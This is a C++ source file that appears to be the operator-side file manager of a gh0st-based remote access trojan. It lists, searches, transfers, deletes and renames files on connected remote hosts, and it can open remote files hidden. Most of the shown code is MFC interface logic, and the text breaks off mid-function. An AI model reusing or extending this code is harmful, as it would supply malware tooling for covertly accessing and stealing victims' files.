GuanM/Rat-winos4.0-gh0st
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Rat-winos4.0-gh0st/worldgh0st/Client/FileManagerDlg.cpp
Logkiss a6a4b6368e rat
2024-06-23 17:36:53 +08:00

3153 lines
85 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// FileManagerDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Client.h"
#include "FileManagerDlg.h"
#include "FileTransferModeDlg.h"
#include "InputDlg.h"
#include <Shlwapi.h>
#pragma comment(lib,"shlwapi.lib")
extern CString strHost;
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
static UINT indicators[] =
{
ID_SEPARATOR, // status line indicator
ID_SEPARATOR,
ID_SEPARATOR
};
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
#define WM_SHOW_MSG (WM_USER+101)
#define WM_SHOW_DLG (WM_USER+103)
/////////////////////////////////////////////////////////////////////////////
// CFileManagerDlg dialog
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CFileManagerDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CFileManagerDlg)
//}}AFX_DATA_INIT
// 初始化应该传输的数据包大小为0
m_iocpServer = pIOCPServer;
m_pContext = pContext;
// 保存远程驱动器列表
memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList));
memcpy(m_bRemoteDriveList, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
// 获取 IP
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
//加载系统图标
SHFILEINFO sfi;
HIMAGELIST hImageList;
// 加载系统大图标列表
hImageList = (HIMAGELIST)SHGetFileInfo
(
(LPCTSTR)_T(""),
0,
&sfi,
sizeof(SHFILEINFO),
SHGFI_LARGEICON | SHGFI_SYSICONINDEX
);
m_pImageList_Large = CImageList::FromHandle(hImageList);
// 加载系统小图标列表
hImageList = (HIMAGELIST)SHGetFileInfo
(
(LPCTSTR)_T(""),
0,
&sfi,
sizeof(SHFILEINFO),
SHGFI_SMALLICON | SHGFI_SYSICONINDEX
);
m_pImageList_Small = CImageList::FromHandle(hImageList);
// 设置窗口图标
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICOFILE), IMAGE_ICON, 20, 20, 0);
// 初始化传输方式
m_nTransferMode = TRANSFER_MODE_NORMAL;
m_nOperatingFileLength = 0;
m_nCounter = 0;
m_bIsStop = false;
// 是否OnClose
m_bOnClose = FALSE;
}
void CFileManagerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CFileManagerDlg)
DDX_Control(pDX, IDC_LIST_REMOTE_SEARCH, m_list_remote_search);
DDX_Control(pDX, IDC_REMOTE_PATH, m_Remote_Directory_ComboBox);
DDX_Control(pDX, IDC_LOCAL_PATH, m_Local_Directory_ComboBox);
DDX_Control(pDX, IDC_LIST_REMOTE, m_list_remote);
DDX_Control(pDX, IDC_LIST_LOCAL, m_list_local);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
//{{AFX_MSG_MAP(CFileManagerDlg)
ON_WM_QUERYDRAGICON()
ON_WM_SIZE()
ON_NOTIFY(NM_DBLCLK, IDC_LIST_LOCAL, OnDblclkListLocal)
ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_LOCAL, OnBegindragListLocal)
ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_REMOTE, OnBegindragListRemote)
ON_WM_MOUSEMOVE()
ON_WM_LBUTTONUP()
ON_WM_CLOSE()
ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE, OnDblclkListRemote)
ON_COMMAND(IDT_LOCAL_PREV, OnLocalPrev)
ON_COMMAND(IDT_REMOTE_PREV, OnRemotePrev)
ON_COMMAND(IDR_LOCAL_VIEW, OnLocalView)
ON_COMMAND(IDM_LOCAL_LIST, OnLocalList)
ON_COMMAND(IDM_LOCAL_REPORT, OnLocalReport)
ON_COMMAND(IDM_LOCAL_BIGICON, OnLocalBigicon)
ON_COMMAND(IDM_LOCAL_SMALLICON, OnLocalSmallicon)
ON_COMMAND(IDM_REMOTE_BIGICON, OnRemoteBigicon)
ON_COMMAND(IDM_REMOTE_LIST, OnRemoteList)
ON_COMMAND(IDM_REMOTE_REPORT, OnRemoteReport)
ON_COMMAND(IDM_REMOTE_SMALLICON, OnRemoteSmallicon)
ON_COMMAND(IDR_REMOTE_VIEW, OnRemoteView)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_STOP, OnUpdateLocalStop)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_STOP, OnUpdateRemoteStop)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_PREV, OnUpdateLocalPrev)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_PREV, OnUpdateRemotePrev)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_COPY, OnUpdateLocalCopy)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_COPY, OnUpdateRemoteCopy)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_DELETE, OnUpdateRemoteDelete)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_NEWFOLDER, OnUpdateRemoteNewfolder)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_DELETE, OnUpdateLocalDelete)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_NEWFOLDER, OnUpdateLocalNewfolder)
ON_COMMAND(IDT_REMOTE_COPY, OnRemoteCopy)
ON_COMMAND(IDT_LOCAL_COPY, OnLocalCopy)
ON_COMMAND(IDT_LOCAL_DELETE, OnLocalDelete)
ON_COMMAND(IDT_REMOTE_DELETE, OnRemoteDelete)
ON_COMMAND(IDT_REMOTE_STOP, OnRemoteStop)
ON_COMMAND(IDT_LOCAL_STOP, OnLocalStop)
ON_COMMAND(IDT_LOCAL_NEWFOLDER, OnLocalNewfolder)
ON_COMMAND(IDT_REMOTE_NEWFOLDER, OnRemoteNewfolder)
ON_COMMAND(IDM_TRANSFER, OnTransfer)
ON_COMMAND(IDM_RENAME, OnRename)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_REMOTE, OnEndlabeleditListRemote)
ON_COMMAND(IDM_DELETE, OnDelete)
ON_COMMAND(IDM_NEWFOLDER, OnNewfolder)
ON_COMMAND(IDM_REFRESH, OnRefresh)
ON_COMMAND(IDM_LOCAL_OPEN, OnLocalOpen)
ON_COMMAND(IDM_REMOTE_OPEN_SHOW, OnRemoteOpenShow)
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
ON_MESSAGE(WM_SHOW_MSG,&OnShowMessage)
ON_MESSAGE(WM_SHOW_DLG,&OnShowDlg)
ON_COMMAND(ID_SEARCH_RESULT, OnSearchResult)
ON_COMMAND(ID_SEARCH_START, OnSearchStart)
ON_COMMAND(ID_SEARCH_STOP, OnSearchStop)
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_SEARCH, OnRclickListRemoteSearch)
ON_COMMAND(ID_MENUITEM_OPEN_FILEPATH, OnMenuitemOpenFilepath)
ON_COMMAND(ID_MENUITEM_MOVE, OnMenuitemMove)
ON_COMMAND(ID_MENUITEM_COPY, OnMenuitemCopy)
ON_COMMAND(ID_MENUITEM_PASTE, OnMenuitemPaste)
//}}AFX_MSG_MAP
ON_XTP_CREATECONTROL()
ON_BN_CLICKED(ID_SEARCH_SUBFOLDER, OnCheckSubfolder)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFileManagerDlg message handlers
void CFileManagerDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FILE_LIST: // 文件列表
FixedRemoteFileList
(
m_pContext->m_DeCompressionBuffer.GetBuffer(0),
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1
);
break;
case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包，文件大小，及文件名
CreateLocalRecvFile();
break;
case TOKEN_FILE_DATA: // 文件内容
WriteLocalRecvFile();
break;
case TOKEN_TRANSFER_FINISH: // 传输完成
EndLocalRecvFile();
break;
case TOKEN_CREATEFOLDER_FINISH:
GetRemoteFileList(".");
break;
case TOKEN_DELETE_FINISH:
EndRemoteDeleteFile();
break;
case TOKEN_MOVE_FINISH:
EndRemoteMoveFile();
break;
case TOKEN_GET_TRANSFER_MODE:
SendTransferMode();
break;
case TOKEN_DATA_CONTINUE:
SendFileData();
break;
case TOKEN_RENAME_FINISH:
// 刷新远程文件列表
GetRemoteFileList(".");
break;
case TOKEN_SEARCH_FILE_LIST:
FixedRemoteSearchFileList
(
m_pContext->m_DeCompressionBuffer.GetBuffer(0),
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1
);
break;
case TOKEN_SEARCH_FILE_FINISH:
m_list_remote_search.EnableWindow(TRUE);
EnableSearchButtn(TRUE);
break;
default:
break;
}
}
BOOL CFileManagerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// 设置标题
CString str;
str.Format(_T("[%s - %s] 文件管理"), strHost,m_IPAddress);
// str.Format(_T("\\\\%s - 文件管理"),m_IPAddress);
SetWindowText(str);
//创建工具栏
DWORD dwStyle = WS_CHILD | WS_VISIBLE | CBRS_TOOLTIPS | CBRS_TOOLTIPS | CBRS_FLYBY;
VERIFY(m_wndToolBar_Local.CreateToolBar(dwStyle, this));
VERIFY(m_wndToolBar_Local.LoadToolBar(IDR_TOOLBAR1));
m_wndToolBar_Local.GetImageManager()->SetIcons(IDR_TOOLBAR1,IDB_TOOLBAR_ENABLE);
VERIFY(m_wndToolBar_Remote.CreateToolBar(dwStyle, this));
VERIFY(m_wndToolBar_Remote.LoadToolBar(IDR_TOOLBAR2));
m_wndToolBar_Remote.GetImageManager()->SetIcons(IDR_TOOLBAR2,IDB_TOOLBAR_ENABLE);
VERIFY(m_wndToolBar_Search.CreateToolBar(dwStyle, this));
VERIFY(m_wndToolBar_Search.LoadToolBar(IDR_TOOLBAR3));
m_wndToolBar_Search.GetImageManager()->SetIcons(IDR_TOOLBAR3,IDB_TOOLBAR_SEARCH);
// 设置搜索工具栏风格
m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_TEXT)->SetStyle(xtpButtonCaption);
m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_RESULT)->SetStyle(xtpButtonIconAndCaption);
EnableSearchButtn(TRUE);
// 创建带进度条的状态栏
if (!m_wndStatusBar.Create(this) ||!m_wndStatusBar.SetIndicators(indicators,sizeof(indicators)/sizeof(UINT)))
{
TRACE0(_T("未能创建状态栏\n"));
return -1;
}
m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL);
m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 120);
m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 50);
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏
RECT rect;
m_wndStatusBar.GetItemRect(1, &rect);
// 创建进度条
m_ProgressCtrl = new CXTPProgressCtrl;
m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, rect, &m_wndStatusBar, 1);
m_ProgressCtrl->SetTheme(xtpControlThemeOfficeXP);
m_ProgressCtrl->SetRange(0, 100); //设置进度条范围
m_ProgressCtrl->SetPos(20); //设置进度条当前位置
// 为列表视图设置ImageList
m_list_local.SetImageList(m_pImageList_Large, LVSIL_NORMAL);
m_list_local.SetImageList(m_pImageList_Small, LVSIL_SMALL);
m_list_remote.SetImageList(m_pImageList_Large, LVSIL_NORMAL);
m_list_remote.SetImageList(m_pImageList_Small, LVSIL_SMALL);
m_list_remote_search.SetImageList(m_pImageList_Large, LVSIL_NORMAL);
m_list_remote_search.SetImageList(m_pImageList_Small, LVSIL_SMALL);
//设置搜索list表头
m_list_remote_search.InsertColumn(0, "搜索结果: 路径", LVCFMT_LEFT, 400);
m_list_remote_search.InsertColumn(1, "大小", LVCFMT_LEFT, 100);
m_list_remote_search.InsertColumn(2, "修改日期", LVCFMT_LEFT, 100);
//设置初始变量
m_bDragging = false;
m_nDragIndex = -1;
m_nDropIndex = -1;
// 初始化COM库 设置本地路径ListBOX自动完成
CoInitialize(NULL);
SHAutoComplete(GetDlgItem(IDC_LOCAL_PATH)->GetWindow(GW_CHILD)->m_hWnd, SHACF_FILESYSTEM);
//显示工具栏
MoveToolBar();
// 设置主题
m_Remote_Directory_ComboBox.SetTheme(xtpControlThemeOfficeXP);
m_Local_Directory_ComboBox.SetTheme(xtpControlThemeOfficeXP);
// HWND hWndHeader = m_list_local.GetDlgItem(0)->GetSafeHwnd();
// m_headerL.SubclassWindow(hWndHeader);
// m_headerL.SetTheme(xtpControlThemeOffice2003);
//
// hWndHeader = m_list_remote.GetDlgItem(0)->GetSafeHwnd();
// m_headerR.SubclassWindow(hWndHeader);
// m_headerR.SetTheme(xtpControlThemeOffice2003);
//
// hWndHeader = m_list_remote_search.GetDlgItem(0)->GetSafeHwnd();
// m_headerS.SubclassWindow(hWndHeader);
// m_headerS.SetTheme(xtpControlThemeOffice2003);
// 显示驱动器列表
FixedLocalDriveList();
FixedRemoteDriveList();
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
// 通过文件名获取ICO 编号
int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
{
SHFILEINFO sfi;
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
else
dwFileAttributes |= FILE_ATTRIBUTE_NORMAL;
SHGetFileInfo
(
lpFileName,
dwFileAttributes,
&sfi,
sizeof(SHFILEINFO),
SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES
);
return sfi.iIcon;
}
// 显示工具栏
void CFileManagerDlg::MoveToolBar()
{
RECT rect;
GetClientRect(&rect);
m_wndToolBar_Local.MoveWindow( rect.right - 230, 0, 230, 36);
m_wndToolBar_Remote.MoveWindow( rect.right - 230, rect.bottom / 2 - 27 , 230, 36);
m_wndToolBar_Search.MoveWindow(0, rect.bottom - 54, rect.right, 35);
}
void CFileManagerDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
// 状态栏还没有创建
if (m_wndStatusBar.m_hWnd == NULL)
return;
// 定位状态栏
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示工具栏
RECT rect;
m_wndStatusBar.GetItemRect(1, &rect);
m_ProgressCtrl->MoveWindow(&rect);
GetDlgItem(IDC_LIST_LOCAL)->MoveWindow(0, 36, cx, (cy - 130) / 2);
GetDlgItem(IDC_LIST_REMOTE)->MoveWindow(0, (cy / 2) + 12, cx, (cy - 130) / 2);
GetDlgItem(IDC_LIST_REMOTE_SEARCH)->MoveWindow(0, (cy / 2) + 12, cx, (cy - 130) / 2);
GetDlgItem(IDC_STATIC_REMOTE)->MoveWindow(25, cy / 2 - 15, 30, 14);
GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(59, (cy / 2) - 20 , cx - 300, 12);
GetDlgItem(IDC_LOCAL_PATH)->MoveWindow(59, 8 , cx - 300, 12);
//显示工具栏
MoveToolBar();
}
// 显示本地驱动器列表
void CFileManagerDlg::FixedLocalDriveList()
{
// 重建list
m_list_local.DeleteAllItems();
while(m_list_local.DeleteColumn(0) != 0);
m_list_local.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_list_local.InsertColumn(1, "类型", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(2, "总大小", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(3, "可用空间", LVCFMT_LEFT, 115);
// pDrive 获取驱动器名
char DriveString[256];
char *pDrive = NULL;
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
//
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // 总大小
unsigned long FreeMB = 0; // 剩余空间
for (int i = 0; *pDrive != '\0'; i++, pDrive += lstrlen(pDrive) + 1)
{
if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
{
AmntMB = (unsigned long)(HDAmount / 1024 / 1024);
FreeMB = (unsigned long)(HDFreeSpace / 1024 / 1024);
}
else
{
AmntMB = 0;
FreeMB = 0;
}
int nIconIndex = -1;
if (pDrive[i] == 'A' || pDrive[i] == 'B')
{
nIconIndex = 6;
}
else
{
switch (GetDriveType(pDrive))
{
case DRIVE_REMOVABLE:
nIconIndex = 7;
break;
case DRIVE_FIXED:
nIconIndex = 8;
break;
case DRIVE_REMOTE:
nIconIndex = 9;
break;
case DRIVE_CDROM:
nIconIndex = 11;
break;
default:
nIconIndex = 8;
break;
}
}
int nItem = m_list_local.InsertItem(i, pDrive, nIconIndex);
m_list_local.SetItemData(nItem, 1);
SHFILEINFO sfi;
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_local.SetItemText(nItem, 1, sfi.szTypeName);
CString str;
str.Format(_T("%10.1f GB"), (float)AmntMB / 1024);
m_list_local.SetItemText(nItem, 2, str);
str.Format(_T("%10.1f GB"), (float)FreeMB / 1024);
m_list_local.SetItemText(nItem, 3, str);
}
// 重置本地当前路径
m_Local_Path = "";
// 清空CListBox中的内容
m_Local_Directory_ComboBox.ResetContent();
strShowText.Format(_T("本地: 装载目录 %s 完成"), m_Local_Path);
PostMessage(WM_SHOW_MSG, 0, 0);
//ShowMessage(_T("本地: 装载目录 %s 完成"), m_Local_Path);
}
// 双击m_list_local
void CFileManagerDlg::OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
if (m_list_local.GetSelectedCount() == 0 || m_list_local.GetItemData(m_list_local.GetSelectionMark()) != 1)
return;
FixedLocalFileList();
*pResult = 0;
}
// DWORD64 GetFolderSize(LPCTSTR szPath, DWORD *dwFiles, DWORD *dwFolders)
// {
// TCHAR szFileFilter[512];
// TCHAR szFilePath[512];
// HANDLE hFind = NULL;
// WIN32_FIND_DATA fileinfo;
// DWORD64 dwSize = 0;
//
// strcpy(szFilePath,szPath);
// strcat(szFilePath,"\\");
// strcpy(szFileFilter,szFilePath);
// strcat(szFileFilter,"*.*");
//
// hFind = FindFirstFile(szFileFilter,&fileinfo);
// do
// {
// if(fileinfo.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
// {
// if (!strcmp(fileinfo.cFileName,".") || !strcmp(fileinfo.cFileName,".."))
// {
// //Do nothing for "." and ".." folders
// }
// else
// {
// TCHAR sztmp[512];
// strcpy(sztmp,szFilePath);
// strcat(sztmp,fileinfo.cFileName);
// dwSize = dwSize + GetFolderSize(sztmp, NULL, NULL);
// if(dwFolders != NULL)
// {
// ++(*dwFolders);
// }
// }
// }
// else
// {
// if(dwFiles != NULL)
// {
// ++(*dwFiles);
// }
// }
//
//
// dwSize += fileinfo.nFileSizeLow;
//
// }while(FindNextFile(hFind,&fileinfo));
//
// FindClose(hFind);
// return dwSize;
// }
// 显示本地文件列表
void CFileManagerDlg::FixedLocalFileList(CString directory)
{
// 如果不指定目录 则查看选中的数据
if (directory.GetLength() == 0)
{
int nItem = m_list_local.GetSelectionMark();
// 如果有选中的，是目录
if (nItem != -1)
{
if (m_list_local.GetItemData(nItem) == 1)
{
directory = m_list_local.GetItemText(nItem, 0);
}
}
else
{
// 从组合框里得到路径
m_Local_Directory_ComboBox.GetWindowText(m_Local_Path);
}
}
// 如果是 .. 则返回父目录
if (directory == "..")
{
m_Local_Path = GetParentDirectory(m_Local_Path);
}
// 刷新当前用
else if (directory != ".")
{
m_Local_Path += directory;
if(m_Local_Path.Right(1) != "\\")
m_Local_Path += "\\";
}
// 是驱动器的根目录,返回磁盘列表
if (m_Local_Path.GetLength() == 0)
{
FixedLocalDriveList();
return;
}
// Combox里插入当前路径
m_Local_Directory_ComboBox.InsertString(0, m_Local_Path);
m_Local_Directory_ComboBox.SetCurSel(0);
// 重建标题
m_list_local.DeleteAllItems();
while(m_list_local.DeleteColumn(0) != 0);
m_list_local.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_list_local.InsertColumn(1, "大小", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(2, "类型", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(3, "修改日期", LVCFMT_LEFT, 115);
int nItemIndex = 0;
m_list_local.SetItemData
(
m_list_local.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),
1
);
// i 为 0 时列目录，i 为 1时列文件
for (int i = 0; i < 2; i++)
{
CFileFind file;
BOOL bContinue;
bContinue = file.FindFile(m_Local_Path + "*.*");
while (bContinue)
{
bContinue = file.FindNextFile();
if (file.IsDots())
continue;
bool bIsInsert = !file.IsDirectory() == i;
if (!bIsInsert)
continue;
int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(),
GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath())));
m_list_local.SetItemData(nItem, file.IsDirectory());
SHFILEINFO sfi;
SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_local.SetItemText(nItem, 2, sfi.szTypeName);
// 大小
CString str;
str.Format(_T("%10d KB"), file.GetLength() / 1024 + (file.GetLength() % 1024 ? 1 : 0));
m_list_local.SetItemText(nItem, 1, str);
//最后修改时间
CTime time;
file.GetLastWriteTime(time);
m_list_local.SetItemText(nItem, 3, time.Format(_T("%Y-%m-%d %H:%M")));
}
}
strShowText.Format(_T("本地: 装载目录 %s 完成"), m_Local_Path);
PostMessage(WM_SHOW_MSG,0,0);
//ShowMessage(_T("本地: 装载目录 %s 完成"), m_Local_Path);
}
// 拖拽文件时鼠标落下
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
{
//This routine performs the actual drop of the item dragged.
//It simply grabs the info from the Drag list (pDragList)
// and puts that info into the list dropped on (pDropList).
//Send: pDragList = pointer to CListCtrl we dragged from,
// pDropList = pointer to CListCtrl we are dropping on.
//Return: nothing.
// Variables
// Unhilight the drop target
if(pDragList == pDropList) //we are return
{
return;
} //EO if(pDragList...
pDropList->SetItemState(m_nDropIndex, 0, LVIS_DROPHILITED);
if ((CWnd *)pDropList == &m_list_local)
{
OnRemoteCopy();
}
else if ((CWnd *)pDropList == &m_list_remote)
{
OnLocalCopy();
}
else
{
// 见鬼了
return;
}
// 重置
m_nDropIndex = -1;
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CFileManagerDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
// 从本地list拖拽
void CFileManagerDlg::OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
// Save the index of the item being dragged in m_nDragIndex
// This will be used later for retrieving the info dragged
m_nDragIndex = pNMListView->iItem;
if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare(_T("..")))
return;
//We will call delete later (in LButtonUp) to clean this up
if(m_list_local.GetSelectedCount() > 1) //more than 1 item in list is selected
m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG);
else
m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG);
ASSERT(m_hCursor); //make sure it was created
// Change the cursor to the drag image
// (still must perform DragMove() in OnMouseMove() to show it moving)
// Set dragging flag and others
m_bDragging = TRUE; //we are in a drag and drop operation
m_nDropIndex = -1; //we don't have a drop index yet
m_pDragList = &m_list_local; //make note of which list we are dragging from
m_pDropWnd = &m_list_local; //at present the drag list is the drop list
// Capture all mouse messages
SetCapture();
*pResult = 0;
}
// 从远程list拖拽
void CFileManagerDlg::OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
// Save the index of the item being dragged in m_nDragIndex
// This will be used later for retrieving the info dragged
m_nDragIndex = pNMListView->iItem;
if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare(_T("..")))
return;
//We will call delete later (in LButtonUp) to clean this up
if(m_list_remote.GetSelectedCount() > 1) //more than 1 item in list is selected
m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG);
else
m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG);
ASSERT(m_hCursor); //make sure it was created
// Change the cursor to the drag image
// (still must perform DragMove() in OnMouseMove() to show it moving)
//// Set dragging flag and others
m_bDragging = TRUE; //we are in a drag and drop operation
m_nDropIndex = -1; //we don't have a drop index yet
m_pDragList = &m_list_remote; //make note of which list we are dragging from
m_pDropWnd = &m_list_remote; //at present the drag list is the drop list
// Capture all mouse messages
SetCapture ();
*pResult = 0;
}
// 鼠标移动
void CFileManagerDlg::OnMouseMove(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
// While the mouse is moving, this routine is called.
// This routine will redraw the drag image at the present
// mouse location to display the dragging.
// Also, while over a CListCtrl, this routine will highlight
// the item we are hovering over.
//// If we are in a drag/drop procedure (m_bDragging is true)
if (m_bDragging)
{
//SetClassLong(m_list_local.m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DRAG));
//// Move the drag image
CPoint pt(point); //get our current mouse coordinates
ClientToScreen(&pt); //convert to screen coordinates
//// Get the CWnd pointer of the window that is under the mouse cursor
CWnd* pDropWnd = WindowFromPoint (pt);
ASSERT(pDropWnd); //make sure we have a window
//// If we drag outside current window we need to adjust the highlights displayed
if (pDropWnd != m_pDropWnd)
{
if (m_nDropIndex != -1) //If we drag over the CListCtrl header, turn off the hover highlight
{
TRACE(_T("m_nDropIndex is -1\n"));
CListCtrl* pList = (CListCtrl*)m_pDropWnd;
VERIFY (pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED));
// redraw item
VERIFY (pList->RedrawItems (m_nDropIndex, m_nDropIndex));
pList->UpdateWindow ();
m_nDropIndex = -1;
}
}
// Save current window pointer as the CListCtrl we are dropping onto
m_pDropWnd = pDropWnd;
// Convert from screen coordinates to drop target client coordinates
pDropWnd->ScreenToClient(&pt);
//If we are hovering over a CListCtrl we need to adjust the highlights
if(pDropWnd->IsKindOf(RUNTIME_CLASS (CListCtrl)))
{
//Note that we can drop here
SetCursor(m_hCursor);
if (m_pDropWnd->m_hWnd == m_pDragList->m_hWnd)
return;
UINT uFlags;
CListCtrl* pList = (CListCtrl*)pDropWnd;
// Turn off hilight for previous drop target
pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED);
// Redraw previous item
pList->RedrawItems (m_nDropIndex, m_nDropIndex);
// Get the item that is below cursor
m_nDropIndex = ((CListCtrl*)pDropWnd)->HitTest(pt, &uFlags);
if (m_nDropIndex != -1)
{
// Highlight it
pList->SetItemState(m_nDropIndex, LVIS_DROPHILITED, LVIS_DROPHILITED);
// Redraw item
pList->RedrawItems(m_nDropIndex, m_nDropIndex);
pList->UpdateWindow();
}
}
else
{
// If we are not hovering over a CListCtrl, change the cursor
// to note that we cannot drop here
SetCursor(LoadCursor(NULL, IDC_NO));
}
}
CDialog::OnMouseMove(nFlags, point);
}
// 左键抬起
void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
// This routine is the end of the drag/drop operation.
// When the button is released, we are to drop the item.
// There are a few things we need to do to clean up and
// finalize the drop:
// 1) Release the mouse capture
// 2) Set m_bDragging to false to signify we are not dragging
// 3) Actually drop the item (we call a separate function to do that)
//If we are in a drag and drop operation (otherwise we don't do anything)
if (m_bDragging)
{
// Release mouse capture, so that other controls can get control/messages
ReleaseCapture();
// Note that we are NOT in a drag operation
m_bDragging = FALSE;
CPoint pt (point); //Get current mouse coordinates
ClientToScreen (&pt); //Convert to screen coordinates
// Get the CWnd pointer of the window that is under the mouse cursor
CWnd* pDropWnd = WindowFromPoint (pt);
ASSERT (pDropWnd); //make sure we have a window pointer
// If window is CListCtrl, we perform the drop
if (pDropWnd->IsKindOf (RUNTIME_CLASS (CListCtrl)))
{
